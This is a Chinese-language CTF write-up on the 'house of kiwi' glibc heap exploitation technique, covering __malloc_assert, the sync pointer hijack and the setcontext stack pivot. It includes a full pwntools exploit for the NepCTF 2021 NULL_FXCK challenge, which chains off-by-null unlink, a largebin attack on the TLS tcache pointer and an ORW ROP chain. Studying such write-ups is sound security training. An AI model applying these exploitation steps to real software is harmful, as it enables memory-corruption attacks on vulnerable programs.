house of kiwi
前言:house_of_kiwi 一般是通过触发__malloc_assert来刷新IO流,最后可以劫持程序流或者通过和setcontext来打配合来进行栈迁移来得到flag。
我们看看触发的源码
#if IS_IN (libc) #ifndef NDEBUG # define __assert_fail(assertion, file, line, function) __malloc_assert(assertion, file, line, function) extern const char *__progname; static void __malloc_assert (const char *assertion, const char *file, unsigned int line, const char *function) { (void) __fxprintf (NULL, "%s%s%s:%u: %s%sAssertion `%s' failed.n", __progname, __progname[0] ? ": " : "", file, line, function ? function : "", function ? ": " : "", assertion); fflush (stderr); abort (); } #endif #endif
可以看见__malloc_assert调用了__fxprintf
和fflush
,而这个函数调用后会调用_IO_file_jumps
中的sync
指针。
这个指针在_IO_file_jumps
偏移为0x60的位置,那么将这个指针进行劫持,就能达到我们想要的目的,如果题目禁用了execve的话,可以考虑通过setcontext来实现栈迁移
我们看一下这个这个函数
text:0000000000053030 ; __unwind { .text:0000000000053030 endbr64 .text:0000000000053034 push rdi .text:0000000000053035 lea rsi, [rdi+128h] ; nset .text:000000000005303C xor edx, edx ; oset .text:000000000005303E mov edi, 2 ; how .text:0000000000053043 mov r10d, 8 ; sigsetsize .text:0000000000053049 mov eax, 0Eh .text:000000000005304E syscall ; LINUX - sys_rt_sigprocmask .text:0000000000053050 pop rdx .text:0000000000053051 cmp rax, 0FFFFFFFFFFFFF001h .text:0000000000053057 jnb loc_5317F .text:000000000005305D mov rcx, [rdx+0E0h] .text:0000000000053064 fldenv byte ptr [rcx] .text:0000000000053066 ldmxcsr dword ptr [rdx+1C0h] .text:000000000005306D mov rsp, [rdx+0A0h] //这里将rdx+0xa0的值赋值给了rsp,也就是我们控制了rdx就控制了rsp .text:0000000000053074 mov rbx, [rdx+80h] .text:000000000005307B mov rbp, [rdx+78h] .text:000000000005307F mov r12, [rdx+48h] .text:0000000000053083 mov r13, [rdx+50h] .text:0000000000053087 mov r14, [rdx+58h] .text:000000000005308B mov r15, [rdx+60h] .text:000000000005308F test dword ptr fs:48h, 2 .text:000000000005309B jz loc_53156 .text:00000000000530A1 mov rsi, [rdx+3A8h] .text:00000000000530A8 mov rdi, rsi .text:00000000000530AB mov rcx, [rdx+3B0h] .text:00000000000530B2 cmp rcx, fs:78h .text:00000000000530BB jz short loc_530F5 .text:00000000000530BD .text:00000000000530BD loc_530BD: ; CODE XREF: setcontext+9E↓j .text:00000000000530BD mov rax, [rsi-8] .text:00000000000530C1 and rax, 0FFFFFFFFFFFFFFF8h .text:00000000000530C5 cmp rax, rsi .text:00000000000530C8 jz short loc_530D0 .text:00000000000530CA sub rsi, 8 .text:00000000000530CE jmp short loc_530BD .text:00000000000530D0 ; --------------------------------------------------------------------------- .text:00000000000530D0 .text:00000000000530D0 loc_530D0: ; CODE XREF: setcontext+98↑j .text:00000000000530D0 mov rax, 1 .text:00000000000530D7 incsspq rax .text:00000000000530DC rstorssp qword ptr [rsi-8] .text:00000000000530E1 saveprevssp .text:00000000000530E5 mov rax, [rdx+3B0h] .text:00000000000530EC mov fs:78h, rax .text:00000000000530F5 .text:00000000000530F5 loc_530F5: ; CODE XREF: setcontext+8B↑j .text:00000000000530F5 rdsspq rcx .text:00000000000530FA sub rcx, rdi .text:00000000000530FD jz short loc_5311C .text:00000000000530FF neg rcx .text:0000000000053102 shr rcx, 3 .text:0000000000053106 mov esi, 0FFh .text:000000000005310B .text:000000000005310B loc_5310B: ; CODE XREF: setcontext+EA↓j .text:000000000005310B cmp rcx, rsi .text:000000000005310E cmovb rsi, rcx .text:0000000000053112 incsspq rsi .text:0000000000053117 sub rcx, rsi .text:000000000005311A ja short loc_5310B .text:000000000005311C .text:000000000005311C loc_5311C: ; CODE XREF: setcontext+CD↑j .text:000000000005311C mov rsi, [rdx+70h] .text:0000000000053120 mov rdi, [rdx+68h] .text:0000000000053124 mov rcx, [rdx+98h] .text:000000000005312B mov r8, [rdx+28h] .text:000000000005312F mov r9, [rdx+30h] .text:0000000000053133 mov r10, [rdx+0A8h] .text:000000000005313A mov rdx, [rdx+88h] .text:0000000000053141 rdsspq rax .text:0000000000053146 cmp r10, [rax] .text:0000000000053149 mov eax, 0 .text:000000000005314E jnz short loc_53153 .text:0000000000053150 push r10 .text:0000000000053152 retn .text:0000000000053153 ; --------------------------------------------------------------------------- .text:0000000000053153 .text:0000000000053153 loc_53153: ; CODE XREF: setcontext+11E↑j .text:0000000000053153 jmp r10 .text:0000000000053156 ; --------------------------------------------------------------------------- .text:0000000000053156 .text:0000000000053156 loc_53156: ; CODE XREF: setcontext+6B↑j .text:0000000000053156 mov rcx, [rdx+0A8h] //也可以控制到rcx .text:000000000005315D push rcx //控制到rip .text:000000000005315E mov rsi, [rdx+70h] .text:0000000000053162 mov rdi, [rdx+68h] .text:0000000000053166 mov rcx, [rdx+98h] .text:000000000005316D mov r8, [rdx+28h] .text:0000000000053171 mov r9, [rdx+30h] .text:0000000000053175 mov rdx, [rdx+88h] .text:0000000000053175 ; } // starts at 53030 .text:000000000005317C ; __unwind { .text:000000000005317C xor eax, eax .text:000000000005317E retn
也就是说控制到rdx + 0xa0 和rdx + 0xa8的位置就可以实现栈迁移,那么就要搞清楚,调用这个指针的时候,rdx是什么,那么就需要调试一下
调用了fflush
这里sync指针已经被我修改变成了setcontext+61的地址
而此时的rdx是 IO_helper_jumps的地址
那么劫持到 IO_helper_jumps + 0xa0即可劫持程序流
小结:想要达到house_of_kiwi需要至少两次任意地址改,修改sync指针,以及IO_helper_jumps +0xa0和0xa8的位置,然后就可以劫持到程序流了,对于2.27以上堆题目来说可以通过劫持tcache bin 结构体来达到任意地址分配,进而达到目的。
相比较其他的house_of系列kiwi要求的条件也比较苛刻,但是它的利用手法并不难,在能满足这个条件的情况下,这种手法还是非常不错的。
例题:nepctf-2021 NULL_FXCK
题目链接:题目
提取码:k5h6
ida逆向分析
add函数规定了申请chunk有大小的限制,最小0x100,最大0x2000
edit函数存在off_by_null漏洞,但是只能使用一次
show函数存在截断
free函数没有UAF漏洞
分析:只有一个off_by_null漏洞,只能使用一次,那么可以通过unlink实现堆块重叠,达到泄露地址的目的,但是本题libc是2.32的libc,还是存在_malloc_hook这些钩子,但是这些被ban掉了,而且开了沙箱保护,我们只能orw读取flag,那么就可以从上面house_of_kiwi下手。首先要做的是unlink,但是这样就需要伪造fd指针和bk指针,以前我们一般是将fd和bk指针指向自身来绕过unlink检查,但是现在我们不能泄露地址,也就是要在无法泄露地址的情况下完成unlink
那么我们可以申请6个堆块,free 0,3,5堆块,那么堆块3的fd和bk就已经确定了,此时想要达到堆块重叠,可以把chunk3的size改大(改到top_chunk这样下次在top_chunk申请堆块时候,free时候,会向上合并),怎么来呢,free掉chunk2,然后chunk2和chunk3会合并,然后申请堆块修改chunk3的size,那么此时,链表就被破坏了
free 0,3,5
chunk2和chunk3合并
chunk3size被修改,同时它的fd和bk指针已经设置好了
此时,剩下两个chunk加入到了largebin中,我们申请出来,但是怎么修改它们的fd和bk指针呢
注意看刚刚chunk3和chunk2合并之后剩下的chunk(称为left_chunk),它的地址只有最低位和chunk3不一样,而且chunk3的地址末位是0,这个是一开始布局的时候这样布置的,因为add有截断,我们可以通过free这个left_chunk和chunk0以前和chunk5来构成链子,最后通过add截断修改掉fd或者bk指针
这里以chunk0为例子,注意他的fd是chunk3+0x20的位置,那么如果截断一下就是chunk3了
同理chunk5也是一样,那么完成这个再伪造一下prev_size即可完成unlink,即可申请堆块达到堆块重叠,泄露地址,但是存在00截断,还需要加入到largebin中泄露libc地址以及heap地址
那么现在泄露地址的问题解决了,还需要实现任意地址写,那么这里涉及一个知识,我们知道管理tcachebin链表是一个结构体在heap起始处
其实这个在tls里面有一个指针指向它只是被映射成了这个地址,我们可以找一下
那么通过largebin 劫持这个地址即可劫持到tcachebin链表实现任意地址写,接下来就是house_of_kiwi,实现栈迁移,提前把orw链子写入到chunk里面
EXP:
from gt import * con("amd64") libc = ELF("./libc-2.32.so") io = process("./NULL_FXCK") def add(size,msg='x00'): io.sendlineafter(">> ",'1') io.sendlineafter("(: Size: ",str(size)) io.sendafter("(: Content: ",msg) def edit(index,msg): io.sendlineafter(">> ",'2') io.sendlineafter("Index: ",str(index)) io.sendafter("Content: ",msg) def free(index): io.sendlineafter(">> ",'3') io.sendlineafter("Index: ",str(index)) def show(index): io.sendlineafter(">> ",'4') io.sendlineafter("Index: ",str(index)) add(0x418) #0 add(0x1f8) #1 add(0x428) #2 add(0x438) #3 add(0x208) #4 add(0x428) #5 add(0x208) #6 free(0) free(3) free(5) gdb.attach(io) free(2) #chunk3 chunk2 he bing payload = b'a'*0x428 + p64(0xc91) add(0x440,payload) #0 #gdb.attach(io) add(0x418) #2 chunk3 chunk2 leave part add(0x418) #3 yuanxian chunk0 add(0x428) #5 yuanxian chunk5 free(3) free(2) #gdb.attach(io) add(0x418,'a'*9) #2 add(0x418) #3 free(3) free(5) add(0x9f8) #3 add(0x428,'a') #5 payload = b'a'*0x200 + p64(0xc90) + b'x00' edit(6,payload) #gdb.attach(io) add(0x418) add(0x208) # fangzhi top_chunk free(3) payload = p64(0) *3 + p64(0x421) add(0x430,payload) add(0x1600) show(4) libc_base = u64(io.recv(6).ljust(8,b'x00')) -0x6a0 -libc.sym["__malloc_hook"] suc("libc_base",libc_base) show(5) heap_base = u64(io.recv(6).ljust(8,b'x00')) - 0x2b0 suc("heap_base",heap_base) #gdb.attach(io) tls_truct = libc_base + 0x1eb578 suc("tls_truct",tls_truct) open = libc_base + libc.sym["open"] read = libc_base + libc.sym["read"] write = libc_base + libc.sym["write"] setcontext = libc_base + libc.sym["setcontext"] pop_rdi = libc_base + 0x000000000002858f#: pop rdi; ret; pop_rsi = libc_base + 0x000000000002ac3f#: pop rsi; ret; pop_rdx_r12 = libc_base + 0x0000000000114161#: pop rdx; pop r12; ret; IO_file_jumps = libc_base + 0x1e54c0 IO_hleper_jumps = libc_base + 0x1e48c0 suc("IO_hleper_jumps",IO_hleper_jumps) ret = libc_base + 0x0000000000026699 #: ret; payload = b'b'*0x208 + p64(0x431) + b'b'*0x428 + p64(0x211) + b'a'*0x208 + p64(0xa01) add(0x1240,payload) free(0) # orw_addr flag_addr = heap_base + 0x8e0 + 0x100 orw = p64(pop_rdi) + p64(flag_addr) + p64(pop_rsi) + p64(0) + p64(open) orw += p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(flag_addr + 0x100) + p64(pop_rdx_r12) + p64(0x40)*2 + p64(read) orw += p64(pop_rdi) + p64(1) + p64(pop_rsi) + p64(flag_addr + 0x100) + p64(pop_rdx_r12) + p64(0x40)*2 + p64(write) orw = orw.ljust(0x100,b'a') orw += b'flagx00x00x00x00' add(0x440,orw) #0 add(0x418) #11 add(0x208) #12 free(5) #unlink big chunk free(4) # large_bin attack chunk # chunk5 ----> largebin payload = b'a'*0x208 + p64(0x431) + p64(libc_base + 0x1e3ff0)*2 + p64(heap_base + 0x1350) payload += p64(tls_truct - 0x20) add(0x1240,payload) free(11) add(0x500) # wancheng large_bin attack add(0x410) #11 free(4) payload = b'a'*0x208 + p64(0x431) + p64(libc_base + 0x1e3ff0)*2 + p64(heap_base + 0x1350)*2 add(0x1240,payload) fake_tcache = b'x07x00' * 0x35 fake_tcache = fake_tcache.ljust(0xe8,b'x00') + p64(IO_file_jumps + 0x60) fake_tcache = fake_tcache.ljust(0x168,b'x00') + p64(IO_hleper_jumps + 0xa0) fake_tcache += p64(heap_base + 0x46f0) #top_chunk add(0x420,fake_tcache) add(0x100,p64(setcontext+61)) add(0x200,p64(heap_base + 0x8e0)+p64(ret)) add(0x210,p64(0x999)) gdb.attach(io) add(0x1000) #gdb.attach(io) io.interactive()
最后效果